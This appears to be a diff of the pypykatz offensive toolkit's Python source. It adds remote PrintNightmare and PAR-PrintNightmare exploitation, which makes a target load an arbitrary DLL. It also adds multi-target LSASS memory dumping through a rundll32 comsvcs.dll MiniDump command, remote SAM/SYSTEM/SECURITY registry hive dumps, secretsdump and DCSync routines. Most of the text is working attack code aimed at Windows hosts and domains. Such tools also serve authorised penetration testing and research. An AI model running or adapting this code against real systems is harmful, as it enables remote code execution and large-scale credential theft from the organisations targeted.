216 live_printnightmare_group.add_argument('dllpath', help='Path to the DLL to be loaded by the remote host. Either UNC (\\\\<ip>\\path\\to\\dll.dll) or Full file path on the remote computer (C:\\path\\to\\dll.dll). Latter is useful if you have write permissions on the remote machine')
217 live_printnightmare_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!')
218 live_printnightmare_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
219
220 live_parprintnightmare_group = live_smb_subparsers.add_parser('parprintnightmare', help='par printnightmare')
221 live_parprintnightmare_group.add_argument('host', help='Target host to connect to')
222 live_parprintnightmare_group.add_argument('dllpath', help='Path to the DLL to be loaded by the remote host. Either UNC (\\\\<ip>\\path\\to\\dll.dll) or Full file path on the remote computer (C:\\path\\to\\dll.dll). Latter is useful if you have write permissions on the remote machine')
223 live_parprintnightmare_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!')
224 live_parprintnightmare_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
160225
161226 live_group = live_parser.add_parser('smb', help='SMB (live) commands', epilog=smb_live_epilog, parents=[live_subcommand_parser])
162227
174239 raise Exception('Live commands only work on Windows!')
175240
176241 from aiosmb import logger as smblog
242 from winacl.functions.highlevel import get_logon_info
243
244 info = get_logon_info()
245 if args.livesmbcommand != 'shareenum':
246 smb_url = 'smb%s+sspi-%s://%s\\%s@%s' % (args.protocol_version, args.authmethod, info['domain'], info['username'], args.host)
177247
178248 if args.verbose == 0:
179249 smblog.setLevel(100)
183253 level = 5 - args.verbose
184254 smblog.setLevel(level=level)
185255
186 if args.livesmbcommand == 'console':
256 if args.livesmbcommand == 'client':
187257 from aiosmb.examples.smbclient import amain
188 from winacl.functions.highlevel import get_logon_info
189 info = get_logon_info()
258
259
190260 la = SMBCMDArgs()
191 la.smb_url = 'smb%s+sspi-%s://%s\\%s@%s' % (args.protocol_version, args.authmethod, info['domain'], info['username'], args.host)
261 la.smb_url = smb_url
192262 la.verbose = args.verbose
193263
194264 if args.commands is not None and len(args.commands) > 0:
203273 la.commands.append(command)
204274
205275 await amain(la)
276
277
278 elif args.livesmbcommand == 'lsassdump':
279 from pypykatz.smb.lsassutils import lsassdump
280 tmimis = await lsassdump(smb_url, chunksize=args.chunksize, packages=args.packages, method = args.method)
281 for tid, mimi, err in tmimis:
282 if err is not None:
283 print('ERROR: %s' % err)
284 self.process_results({'smbfile':mimi}, [], args)
285
286 elif args.livesmbcommand == 'secretsdump':
287 from pypykatz.smb.lsassutils import lsassdump
288 from pypykatz.smb.regutils import regdump
289 from pypykatz.smb.dcsync import dcsync
290
291 try:
292 mimi = await lsassdump(smb_url, chunksize=args.chunksize, packages=args.packages)
293 if mimi is not None:
294 self.process_results({'smbfile':mimi}, [], args, file_prefix='_lsass.txt')
295 except Exception as e:
296 logging.exception('[SECRETSDUMP] Failed to get LSASS secrets')
297
298 try:
299 po = await regdump(smb_url)
300 if po is not None:
301 if args.outfile:
302 po.to_file(args.outfile+'_registry.txt', args.json)
303 else:
304 if args.json:
305 print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True))
306 else:
307 print(str(po))
308 except Exception as e:
309 logging.exception('[SECRETSDUMP] Failed to get registry secrets')
310
311
312 try:
313 if args.outfile is not None:
314 outfile = open(args.outfile+'_dcsync.txt', 'w', newline = '')
315
316 async for secret in dcsync(smb_url):
317 if args.outfile is not None:
318 outfile.write(str(secret))
319 else:
320 print(str(secret))
321
322 except Exception as e:
323 logging.exception('[SECRETSDUMP] Failed to perform DCSYNC')
324 finally:
325 if args.outfile is not None:
326 outfile.close()
327
328 elif args.livesmbcommand == 'dcsync':
329 from pypykatz.smb.dcsync import dcsync
330
331 if args.outfile is not None:
332 outfile = open(args.outfile, 'w', newline = '')
333
334 async for secret in dcsync(smb_url, args.username):
335 if args.outfile is not None:
336 outfile.write(str(secret))
337 else:
338 print(str(secret))
339
340 if args.outfile is not None:
341 outfile.close()
342
343 elif args.livesmbcommand == 'regdump':
344 from pypykatz.smb.regutils import regdump
345 po = await regdump(smb_url)
346
347 if po is not None:
348 if args.outfile:
349 po.to_file(args.outfile, args.json)
350 else:
351 if args.json:
352 print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True))
353 else:
354 print(str(po))
355
356 elif args.livesmbcommand == 'parprintnightmare':
357 from pypykatz.smb.printer import parprintnightmare
358 _, err = await parprintnightmare(smb_url, args.dllpath)
359 if err is not None:
360 print('Parprintnightmare failed! %s' % err)
361 return
362 print('Parprintnightmare OK!')
363
364 elif args.livesmbcommand == 'printnightmare':
365 from pypykatz.smb.printer import printnightmare
366 _, err = await printnightmare(smb_url, args.dllpath)
367 if err is not None:
368 print('Printnightmare failed! %s' % err)
369 return
370 print('Printnightmare OK!')
206371
207372 elif args.livesmbcommand == 'shareenum':
208373 from pypykatz.smb.shareenum import shareenum
269434
270435 elif args.smb_module == 'lsassdump':
271436 from pypykatz.smb.lsassutils import lsassdump
272 mimi = await lsassdump(args.url, chunksize=args.chunksize, packages=args.packages)
273 self.process_results({'smbfile':mimi}, [], args)
437 async for tid, mimi, err in lsassdump(
438 args.url,
439 chunksize=args.chunksize,
440 packages=args.packages,
441 method = args.method,
442 targets = args.target,
443 worker_cnt = args.worker_count
444 ):
445 if err is not None:
446 continue
447 self.process_results({tid:mimi}, [], args)
274448
275449 elif args.smb_module == 'secretsdump':
276450 from pypykatz.smb.lsassutils import lsassdump
331505
332506 elif args.smb_module == 'regdump':
333507 from pypykatz.smb.regutils import regdump
334 po = await regdump(args.url)
335
336 if po is not None:
337 if args.outfile:
338 po.to_file(args.outfile, args.json)
339 else:
340 if args.json:
341 print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True))
342 else:
343 print(str(po))
508 async for tid, po, err in regdump(args.url, targets=args.target, worker_cnt = args.worker_count):
509 if err is not None:
510 if args.outfile:
511 with open(args.outfile, 'a') as f:
512 f.write('[%s][ERROR]%s' % (tid, str(err)))
513 else:
514 print('[%s][ERROR]%s' % (tid, str(err)))
515
516 continue
517
518 if po is not None:
519 if args.outfile:
520 po.to_file(args.outfile, args.json)
521 else:
522 if args.json:
523 print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True))
524 else:
525 buffer = ''
526 for line in str(po).split('\n'):
527 buffer += '[%s] ' % tid
528 buffer += line + '\r\n'
529 print(buffer)
344530
345531 elif args.smb_module == 'regfile':
346532 from pypykatz.smb.regutils import regfile
388574 max_items = args.maxitems,
389575 dirsd = args.dirsd,
390576 filesd = args.filesd,
391 authmethod = args.authmethod,
392 protocol_version = args.protocol_version,
393577 output_type = output_type,
394578 max_runtime = args.max_runtime,
395579 exclude_share = exclude_share,
399583 )
400584
401585
402 elif args.smb_module == 'console':
586 elif args.smb_module == 'client':
403587 from aiosmb.examples.smbclient import amain
404588 la = SMBCMDArgs()
405589 la.smb_url = args.url
416600 la.commands.append(command)
417601
418602 await amain(la)
603
604 elif args.smb_module == 'printnightmare':
605 from pypykatz.smb.printer import printnightmare
606 _, err = await printnightmare(args.url, args.dllpath)
607 if err is not None:
608 print('Printnightmare failed! %s' % err)
609 return
610 print('Printnightmare OK!')
611
612 elif args.smb_module == 'parprintnightmare':
613 from pypykatz.smb.printer import parprintnightmare
614 _, err = await parprintnightmare(args.url, args.dllpath)
615 if err is not None:
616 print('Parprintnightmare failed! %s' % err)
617 return
618 print('Parprintnightmare OK!')
419619
420620 def process_results(self, results, files_with_error, args, file_prefix = ''):
421621 if args.outfile and args.json:
422 with open(args.outfile+file_prefix, 'w') as f:
622 with open(args.outfile+file_prefix, 'a') as f:
423623 json.dump(results, f, cls = UniversalEncoder, indent=4, sort_keys=True)
424624
425625 elif args.outfile and args.grep:
426 with open(args.outfile+file_prefix, 'w', newline = '') as f:
427 f.write(':'.join(LogonSession.grep_header) + '\r\n')
626 with open(args.outfile+file_prefix, 'a', newline = '') as f:
627 f.write(':'.join(['target'] + LogonSession.grep_header) + '\r\n')
428628 for result in results:
429629 for luid in results[result].logon_sessions:
430630 for row in results[result].logon_sessions[luid].to_grep_rows():
431 f.write(':'.join(row) + '\r\n')
631 f.write(':'.join([result] + row) + '\r\n')
432632
433633 elif args.outfile:
434 with open(args.outfile+file_prefix, 'w') as f:
634 with open(args.outfile+file_prefix, 'a') as f:
435635 for result in results:
436636 f.write('FILE: ======== %s =======\n' % result)
437637
452652 print(json.dumps(results, cls = UniversalEncoder, indent=4, sort_keys=True))
453653
454654 elif args.grep:
455 print(':'.join(LogonSession.grep_header))
655 print(':'.join(['target'] + LogonSession.grep_header))
456656 for result in results:
457657 for luid in results[result].logon_sessions:
458658 for row in results[result].logon_sessions[luid].to_grep_rows():
459 print(':'.join(row))
659 print(':'.join([result] + row))
460660 for cred in results[result].orphaned_creds:
461661 t = cred.to_dict()
462662 if t['credtype'] != 'dpapi':
463663 if t['password'] is not None:
464 x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])]
664 x = [result , str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])]
465665 print(':'.join(x))
466666 else:
467667 t = cred.to_dict()
468 x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), '']
668 x = [result, str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), '']
469669 print(':'.join(x))
470670
471671 for pkg, err in results[result].errors:
472672 err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__))
473673 err_str = base64.b64encode(err_str.encode()).decode()
474 x = [pkg+'_exception_please_report', '', '', '', '', '', '', '', '', err_str]
674 x = [result + pkg+'_exception_please_report', '', '', '', '', '', '', '', '', err_str]
475675 print(':'.join(x) + '\r\n')
476676 else:
477677 for result in results:
00 import asyncio
11 import os
2 import itertools
3
4 from aiosmb.examples.smbshareenum import SMBFileEnum, ListTargetGen, FileTargetGen
5
6 def natatime(n, iterable, fillvalue = None):
7 """Returns an iterator yielding `n` elements at a time.
8 :param n: the number of elements to return at each iteration
9 :param iterable: the iterable over which to iterate
10 :param fillvalue: the value to use for missing elements
11 :Example:
12 >>> for (a,b,c) in natatime(3, [1,2,3,4,5], fillvalue = "?"):
13 ... print a, b, c
14 ...
15 1 2 3
16 4 5 ?
17 """
18 stepped_slices = ( itertools.islice(iterable, i, None, n) for i in range(n) )
19 return itertools.zip_longest(*stepped_slices, fillvalue = fillvalue)
20
221
322 from pypykatz import logging
423
2948 logging.debug('[LSASSFILE] LSASS file parsed OK!')
3049 return mimi
3150
32 async def lsassdump(url, method = 'taskexec', remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\',chunksize = 64*1024, packages = ['all']):
33 from aiosmb.commons.exceptions import SMBException
34 from aiosmb.wintypes.ntstatus import NTStatus
51 async def lsassdump(url, method = 'task', remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\',chunksize = 64*1024, packages = ['all'], targets = [], worker_cnt = 5):
3552 from aiosmb.commons.connection.url import SMBConnectionURL
36 from aiosmb.commons.interfaces.machine import SMBMachine
37 from pypykatz.alsadecryptor.asbmfile import SMBFileReader
38 from aiosmb.commons.interfaces.file import SMBFile
39 from pypykatz.apypykatz import apypykatz
40
41 smburl = SMBConnectionURL(url)
42 connection = smburl.get_connection()
43
44 if remote_base_path.endswith('\\') is False:
45 remote_base_path += '\\'
46
47 if remote_share_name.endswith('\\') is False:
48 remote_share_name += '\\'
49
50 fname = '%s.%s' % (os.urandom(5).hex(), os.urandom(3).hex())
51 filepath = remote_base_path + fname
52 filesharepath = remote_share_name + fname
5353
54 if method == 'taskexec':
55 cmd = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ^%B {} full""".format(filepath)
56 commands = [cmd]
54 base_url = None
55 base_conn = None
56 mimis = []
57 workers = []
58
59 tgens = []
60 if targets is not None and len(targets) != 0:
61 notfile = []
62 if targets is not None:
63 for target in targets:
64 try:
65 f = open(target, 'r')
66 f.close()
67 tgens.append(FileTargetGen(target))
68 except:
69 notfile.append(target)
70
71 if len(notfile) > 0:
72 tgens.append(ListTargetGen(notfile))
73
74 if isinstance(url, SMBConnectionURL):
75 base_url = url
76 base_conn = url.get_connection()
77 else:
78 base_url = SMBConnectionURL(url)
79 base_conn = base_url.get_connection()
5780
58 else:
59 raise Exception('Unknown execution method %s' % method)
60
61 mimi = None
62 async with connection:
63 logging.debug('[LSASSDUMP] Connecting to server...')
64 _, err = await connection.login()
65 if err is not None:
66 raise err
67 logging.debug('[LSASSDUMP] Connected!')
68 async with SMBMachine(connection) as machine:
69 if method == 'taskexec':
70 logging.debug('[LSASSDUMP] Start dumping LSASS with taskexec method!')
71 logging.info('[LSASSDUMP] File location: %s' % filepath)
72 _, err = await machine.tasks_execute_commands(commands)
73 if err is not None:
74 raise err
81 lsassdump_coro = lsassdump_single(
82 base_conn.target.get_hostname_or_ip(),
83 base_conn,
84 method = method,
85 remote_base_path = remote_base_path,
86 remote_share_name = remote_share_name,
87 chunksize = chunksize,
88 packages = packages
89 )
90 workers.append(lsassdump_coro)
91
92 for tgen in tgens:
93 async for _, target, err in tgen.generate():
94 tconn = base_url.create_connection_newtarget(target)
95 lsassdump_coro = lsassdump_single(
96 tconn.target.get_hostname_or_ip(),
97 tconn,
98 method = method,
99 remote_base_path = remote_base_path,
100 remote_share_name = remote_share_name,
101 chunksize = chunksize,
102 packages = packages
103 )
104 workers.append(lsassdump_coro)
105 if len(workers) >= worker_cnt:
106 tres = await asyncio.gather(*workers)
107 for res in tres:
108 yield res
109 workers = []
110
111 if len(workers) > 0:
112 tres = await asyncio.gather(*workers)
113 for res in tres:
114 yield res
115 workers = []
116
117
118 async def lsassdump_single(targetid, connection, method = 'task', remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\',chunksize = 64*1024, packages = ['all']):
119 try:
120 from aiosmb.commons.exceptions import SMBException
121 from aiosmb.wintypes.ntstatus import NTStatus
122 from aiosmb.commons.interfaces.machine import SMBMachine
123 from pypykatz.alsadecryptor.asbmfile import SMBFileReader
124 from aiosmb.commons.interfaces.file import SMBFile
125 from pypykatz.apypykatz import apypykatz
126
127 if remote_base_path.endswith('\\') is False:
128 remote_base_path += '\\'
129
130 if remote_share_name.endswith('\\') is False:
131 remote_share_name += '\\'
132
133 fname = '%s.%s' % (os.urandom(5).hex(), os.urandom(3).hex())
134 filepath = remote_base_path + fname
135 filesharepath = remote_share_name + fname
136
137 if method == 'task':
138 cmd = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ^%B {} full""".format(filepath)
139 commands = [cmd]
140
141 elif method == 'service':
142 cmd = ''
143
144 else:
145 raise Exception('Unknown execution method %s' % method)
146
147 mimi = None
148 async with connection:
149 logging.debug('[LSASSDUMP][%s] Connecting to server...' % targetid)
150 _, err = await connection.login()
151 if err is not None:
152 raise err
153 logging.debug('[LSASSDUMP][%s] Connected!' % targetid)
154 async with SMBMachine(connection) as machine:
155 if method == 'task':
156 logging.debug('[LSASSDUMP][%s] Start dumping LSASS with taskexec method!' % targetid)
157 smbfile_inner, err = await machine.task_dump_lsass()
158
159 if err is not None:
160 raise err
161
162 smbfile = SMBFileReader(smbfile_inner)
163
164 #logging.debug('[LSASSDUMP][%s] Start dumping LSASS with taskexec method!' % targetid)
165 #logging.info('[LSASSDUMP][%s] File location: %s' % (targetid,filepath))
166 #_, err = await machine.tasks_execute_commands(commands)
167 #if err is not None:
168 # raise err
169 #
170 #logging.debug('[LSASSDUMP][%s] Opening LSASS dump file...' % targetid)
171 #for _ in range(5):
172 # logging.debug('[LSASSDUMP][%s] Sleeping a bit to let the remote host finish dumping' % targetid)
173 # await asyncio.sleep(5)
174 # smbfile = SMBFileReader(SMBFile.from_remotepath(connection, filesharepath))
175 # _, err = await smbfile.open(connection)
176 # if err is not None:
177 # if isinstance(err, SMBException):
178 # if err.ntstatus == NTStatus.SHARING_VIOLATION:
179 # logging.debug('[LSASSDUMP][%s] LSASS dump is not yet ready, retrying...' % targetid)
180 # #await asyncio.sleep(1)
181 # continue
182 # raise err
183 # break
184 #else:
185 # raise err
75186
76 logging.debug('[LSASSDUMP] Sleeping a bit to let the remote host finish dumping')
77 await asyncio.sleep(10)
187
188
189 elif method == 'service':
190 logging.debug('[LSASSDUMP][%s] Start dumping LSASS with serviceexec method!' % targetid)
191 smbfile_inner, err = await machine.service_dump_lsass()
192
193 if err is not None:
194 raise err
195 smbfile = SMBFileReader(smbfile_inner)
196
197 else:
198 raise Exception('Unknown execution method %s' % method)
78199
200 logging.debug('[LSASSDUMP][%s] LSASS dump file opened!' % targetid)
201 logging.debug('[LSASSDUMP][%s] parsing LSASS dump file on the remote host...' % targetid)
202 mimi = await apypykatz.parse_minidump_external(smbfile, chunksize=chunksize, packages = packages)
203
204 logging.debug('[LSASSDUMP][%s] parsing OK!' % targetid)
205 logging.debug('[LSASSDUMP][%s] Deleting remote dump file...' % targetid)
206 _, err = await smbfile.delete()
207 if err is not None:
208 print('[%s] Failed to delete LSASS file! Reason: %s' % (targetid, err))
79209 else:
80 raise Exception('Unknown execution method %s' % method)
81
82 logging.debug('[LSASSDUMP] Opening LSASS dump file...')
83 for _ in range(3):
84 smbfile = SMBFileReader(SMBFile.from_remotepath(connection, filesharepath))
85 _, err = await smbfile.open(connection)
86 if err is not None:
87 if isinstance(err, SMBException):
88 if err.ntstatus == NTStatus.SHARING_VIOLATION:
89 logging.debug('[LSASSDUMP] LSASS dump is not yet ready, retrying...')
90 await asyncio.sleep(1)
91 continue
92 raise err
93 break
94 else:
95 raise err
96
97 logging.debug('[LSASSDUMP] LSASS dump file opened!')
98 logging.debug('[LSASSDUMP] parsing LSASS dump file on the remote host...')
99 mimi = await apypykatz.parse_minidump_external(smbfile, chunksize=chunksize, packages = packages)
100
101 logging.debug('[LSASSDUMP] parsing OK!')
102 logging.debug('[LSASSDUMP] Deleting remote dump file...')
103 _, err = await smbfile.delete()
104 if err is not None:
105 logging.info('[LSASSDUMP] Failed to delete LSASS file! Reason: %s' % err)
106 else:
107 logging.info('[LSASSDUMP] remote LSASS file deleted OK!')
210 print('[%s] Remote LSASS file deleted OK!' % targetid)
108211
109 return mimi
212 return targetid, mimi, None
213 except Exception as e:
214 import traceback
215 traceback.print_exc()
216 return targetid, None, e
0 import asyncio
1 import os
2
3 from pypykatz import logging
4
5 async def printnightmare(url, dll_path, driverpath = None):
6 try:
7 from aiosmb.commons.connection.url import SMBConnectionURL
8 from aiosmb.commons.interfaces.machine import SMBMachine
9
10 smburl = SMBConnectionURL(url)
11 connection = smburl.get_connection()
12
13 async with connection:
14 logging.debug('[PRINTNIGHTMARE] Connecting to server...')
15 _, err = await connection.login()
16 if err is not None:
17 raise err
18
19 machine = SMBMachine(connection)
20 logging.debug('[PRINTNIGHTMARE] Connected!')
21 logging.debug('[PRINTNIGHTMARE] Triggering printnightmare...')
22 _, err = await machine.printnightmare(dll_path, driverpath)
23 if err is not None:
24 raise err
25 logging.debug('[PRINTNIGHTMARE] Printnightmare finished OK!')
26 return True, None
27 except Exception as e:
28 import traceback
29 traceback.print_exc()
30 return None, e
31
32 async def parprintnightmare(url, dll_path, driverpath = None):
33 try:
34 from aiosmb.commons.connection.url import SMBConnectionURL
35 from aiosmb.commons.interfaces.machine import SMBMachine
36
37 smburl = SMBConnectionURL(url)
38 connection = smburl.get_connection()
39
40 async with connection:
41 logging.debug('[PARPRINTNIGHTMARE] Connecting to server...')
42 _, err = await connection.login()
43 if err is not None:
44 raise err
45
46 machine = SMBMachine(connection)
47 logging.debug('[PARPRINTNIGHTMARE] Connected!')
48 logging.debug('[PARPRINTNIGHTMARE] Triggering parprintnightmare...')
49 _, err = await machine.par_printnightmare(dll_path, driverpath)
50 if err is not None:
51 raise err
52 logging.debug('[PARPRINTNIGHTMARE] Parprintnightmare finished OK!')
53 return True, None
54 except Exception as e:
55 import traceback
56 traceback.print_exc()
57 return None, e
22 import os
33
44 from pypykatz import logging
5
6 async def regdump(url, hives = ['HKLM\\SAM', 'HKLM\\SYSTEM', 'HKLM\\SECURITY'], remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\', enable_wait = 3):
5 from aiosmb.examples.smbshareenum import SMBFileEnum, ListTargetGen, FileTargetGen
6
7
8 async def regdump(url, hives = ['HKLM\\SAM', 'HKLM\\SYSTEM', 'HKLM\\SECURITY'], remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\', enable_wait = 3, targets = [], worker_cnt = 5):
79 from aiosmb.commons.connection.url import SMBConnectionURL
8 from aiosmb.commons.interfaces.machine import SMBMachine
9 from aiosmb.commons.interfaces.file import SMBFile
10 from aiosmb.dcerpc.v5.common.service import SMBServiceStatus
11 from pypykatz.alsadecryptor.asbmfile import SMBFileReader
12 from pypykatz.registry.aoffline_parser import OffineRegistry
13
1410
15
16 smburl = SMBConnectionURL(url)
17 connection = smburl.get_connection()
18 if remote_base_path.endswith('\\') is False:
19 remote_base_path += '\\'
20
21 if remote_share_name.endswith('\\') is False:
22 remote_share_name += '\\'
23
24 po = None
25
26 async with connection:
27 logging.debug('[REGDUMP] Connecting to server...')
28 _, err = await connection.login()
29 if err is not None:
30 raise err
31
32 logging.debug('[REGDUMP] Connected to server!')
33 async with SMBMachine(connection) as machine:
34 logging.debug('[REGDUMP] Checking remote registry service status...')
35 status, err = await machine.check_service_status('RemoteRegistry')
36 if err is not None:
37 raise err
38
39 logging.debug('[REGDUMP] Remote registry service status: %s' % status.name)
40 if status != SMBServiceStatus.RUNNING:
41 logging.debug('[REGDUMP] Enabling Remote registry service')
42 _, err = await machine.enable_service('RemoteRegistry')
11 base_url = None
12 base_conn = None
13 mimis = []
14 workers = []
15
16 tgens = []
17 if targets is not None and len(targets) != 0:
18 notfile = []
19 if targets is not None:
20 for target in targets:
21 try:
22 f = open(target, 'r')
23 f.close()
24 tgens.append(FileTargetGen(target))
25 except:
26 notfile.append(target)
27
28 if len(notfile) > 0:
29 tgens.append(ListTargetGen(notfile))
30
31 if isinstance(url, SMBConnectionURL):
32 base_url = url
33 base_conn = url.get_connection()
34 else:
35 base_url = SMBConnectionURL(url)
36 base_conn = base_url.get_connection()
37
38 regdump_coro = regdump_single(
39 base_conn.target.get_hostname_or_ip(),
40 base_conn,
41 hives = hives,
42 remote_base_path = remote_base_path,
43 remote_share_name = remote_share_name,
44 enable_wait = enable_wait
45 )
46 workers.append(regdump_coro)
47
48 for tgen in tgens:
49 async for _, target, err in tgen.generate():
50 tconn = base_url.create_connection_newtarget(target)
51 regdump_coro = regdump_single(
52 tconn.target.get_hostname_or_ip(),
53 tconn,
54 hives = hives,
55 remote_base_path = remote_base_path,
56 remote_share_name = remote_share_name,
57 enable_wait = enable_wait
58 )
59 workers.append(regdump_coro)
60 if len(workers) >= worker_cnt:
61 tres = await asyncio.gather(*workers)
62 for res in tres:
63 yield res
64 workers = []
65
66 if len(workers) > 0:
67 tres = await asyncio.gather(*workers)
68 for res in tres:
69 yield res
70 workers = []
71
72
73 async def regdump_single(targetid, connection, hives = ['HKLM\\SAM', 'HKLM\\SYSTEM', 'HKLM\\SECURITY'], remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\', enable_wait = 3):
74 try:
75 from aiosmb.commons.interfaces.machine import SMBMachine
76 from aiosmb.commons.interfaces.file import SMBFile
77 from aiosmb.dcerpc.v5.common.service import SMBServiceStatus
78 from pypykatz.alsadecryptor.asbmfile import SMBFileReader
79 from pypykatz.registry.aoffline_parser import OffineRegistry
80
81
82 if remote_base_path.endswith('\\') is False:
83 remote_base_path += '\\'
84
85 if remote_share_name.endswith('\\') is False:
86 remote_share_name += '\\'
87
88 po = None
89
90 async with connection:
91 logging.debug('[REGDUMP] Connecting to server...')
92 _, err = await connection.login()
93 if err is not None:
94 raise err
95
96 logging.debug('[REGDUMP] Connected to server!')
97 async with SMBMachine(connection) as machine:
98 logging.debug('[REGDUMP] Checking remote registry service status...')
99 status, err = await machine.check_service_status('RemoteRegistry')
43100 if err is not None:
44101 raise err
45 logging.debug('[REGDUMP] Starting Remote registry service')
46 _, err = await machine.start_service('RemoteRegistry')
47 if err is not None:
48 raise err
49
50 await asyncio.sleep(enable_wait)
51
52
53
54 logging.debug('[REGDUMP] Remote registry service should be running now...')
55 files = {}
56 for hive in hives:
57 fname = '%s.%s' % (os.urandom(4).hex(), os.urandom(3).hex())
58 remote_path = remote_base_path + fname
59 remote_sharepath = remote_share_name + fname
60 remote_file = SMBFileReader(SMBFile.from_remotepath(connection, remote_sharepath))
61 files[hive.split('\\')[1].upper()] = remote_file
62
63 logging.info('[REGDUMP] Dumping reghive %s to (remote) %s' % (hive, remote_path))
64 _, err = await machine.save_registry_hive(hive, remote_path)
65 if err is not None:
66 raise err
67
68 #await asyncio.sleep(1)
69 for rfilename in files:
70 rfile = files[rfilename]
71 logging.debug('[REGDUMP] Opening reghive file %s' % rfilename)
72 _, err = await rfile.open(connection)
73 if err is not None:
74 raise err
75
76 try:
77 logging.debug('[REGDUMP] Parsing hives...')
78 po = await OffineRegistry.from_async_reader(
79 files['SYSTEM'],
80 sam_reader = files.get('SAM'),
81 security_reader = files.get('SECURITY'),
82 software_reader = files.get('SOFTWARE')
83 )
84 except Exception as e:
85 print(e)
86
87 logging.debug('[REGDUMP] Hives parsed OK!')
88
89 logging.debug('[REGDUMP] Deleting remote files...')
90 err = None
91 for rfilename in files:
92 rfile = files[rfilename]
93 err = await rfile.close()
94 if err is not None:
95 logging.info('[REGDUMP] ERR! Failed to close hive dump file! %s' % rfilename)
96
97 _, err = await rfile.delete()
98 if err is not None:
99 logging.info('[REGDUMP] ERR! Failed to delete hive dump file! %s' % rfilename)
100
101 if err is None:
102 logging.info('[REGDUMP] Deleting remote files OK!')
103 return po
102
103 logging.debug('[REGDUMP] Remote registry service status: %s' % status.name)
104 if status != SMBServiceStatus.RUNNING:
105 logging.debug('[REGDUMP] Enabling Remote registry service')
106 _, err = await machine.enable_service('RemoteRegistry')
107 if err is not None:
108 raise err
109 logging.debug('[REGDUMP] Starting Remote registry service')
110 _, err = await machine.start_service('RemoteRegistry')
111 if err is not None:
112 raise err
113
114 await asyncio.sleep(enable_wait)
115
116
117
118 logging.debug('[REGDUMP] Remote registry service should be running now...')
119 files = {}
120 for hive in hives:
121 fname = '%s.%s' % (os.urandom(4).hex(), os.urandom(3).hex())
122 remote_path = remote_base_path + fname
123 remote_sharepath = remote_share_name + fname
124 remote_file = SMBFileReader(SMBFile.from_remotepath(connection, remote_sharepath))
125 files[hive.split('\\')[1].upper()] = remote_file
126
127 logging.info('[REGDUMP] Dumping reghive %s to (remote) %s' % (hive, remote_path))
128 _, err = await machine.save_registry_hive(hive, remote_path)
129 if err is not None:
130 raise err
131
132 #await asyncio.sleep(1)
133 for rfilename in files:
134 rfile = files[rfilename]
135 logging.debug('[REGDUMP] Opening reghive file %s' % rfilename)
136 _, err = await rfile.open(connection)
137 if err is not None:
138 raise err
139
140 try:
141 logging.debug('[REGDUMP] Parsing hives...')
142 po = await OffineRegistry.from_async_reader(
143 files['SYSTEM'],
144 sam_reader = files.get('SAM'),
145 security_reader = files.get('SECURITY'),
146 software_reader = files.get('SOFTWARE')
147 )
148 except Exception as e:
149 print(e)
150
151 logging.debug('[REGDUMP] Hives parsed OK!')
152
153 logging.debug('[REGDUMP] Deleting remote files...')
154 err = None
155 for rfilename in files:
156 rfile = files[rfilename]
157 err = await rfile.close()
158 if err is not None:
159 logging.info('[REGDUMP] ERR! Failed to close hive dump file! %s' % rfilename)
160
161 _, err = await rfile.delete()
162 if err is not None:
163 logging.info('[REGDUMP] ERR! Failed to delete hive dump file! %s' % rfilename)
164
165 if err is None:
166 logging.info('[REGDUMP] Deleting remote files OK!')
167
168 return targetid, po, None
169 except Exception as e:
170 return targetid, None, e
104171
105172
106173
5959 from pypykatz.apypykatz import apypykatz
6060
6161
62 if targets is None and ldap_url is None:
63 raise Exception('Shareenum needs a list of targets or LDAP connection string')
62 #if targets is None and ldap_url is None:
63 # raise Exception('Shareenum needs a list of targets or LDAP connection string')
6464
6565 if smb_url == 'auto':
6666 smb_url = get_smb_url(authmethod=authmethod, protocol_version=protocol_version)
100100 enumerator.target_gens.append(LDAPTargetGen(ldap_url))
101101
102102 if len(enumerator.target_gens) == 0:
103 raise Exception('No suitable targets found!')
103 enumerator.enum_url = True
104 #raise Exception('No suitable targets found!')
104105
105106 await enumerator.run()
66 class CryptoCMDHelper:
77 def __init__(self):
88 self.live_keywords = []
9 self.keywords = ['nt','lm','dcc','dcc2','gppass']
9 self.keywords = ['crypto']
1010
1111 def add_args(self, parser, live_parser):
12 group = parser.add_parser('nt', help='Generates NT hash of the password')
12
13 crypto_group = parser.add_parser('crypto', help='Utils for generating hashes/decrypting secrets etc')
14 crypto_subparsers = crypto_group.add_subparsers()
15 crypto_subparsers.required = True
16 crypto_subparsers.dest = 'crypto_module'
17
18 group = crypto_subparsers.add_parser('nt', help='Generates NT hash of the password')
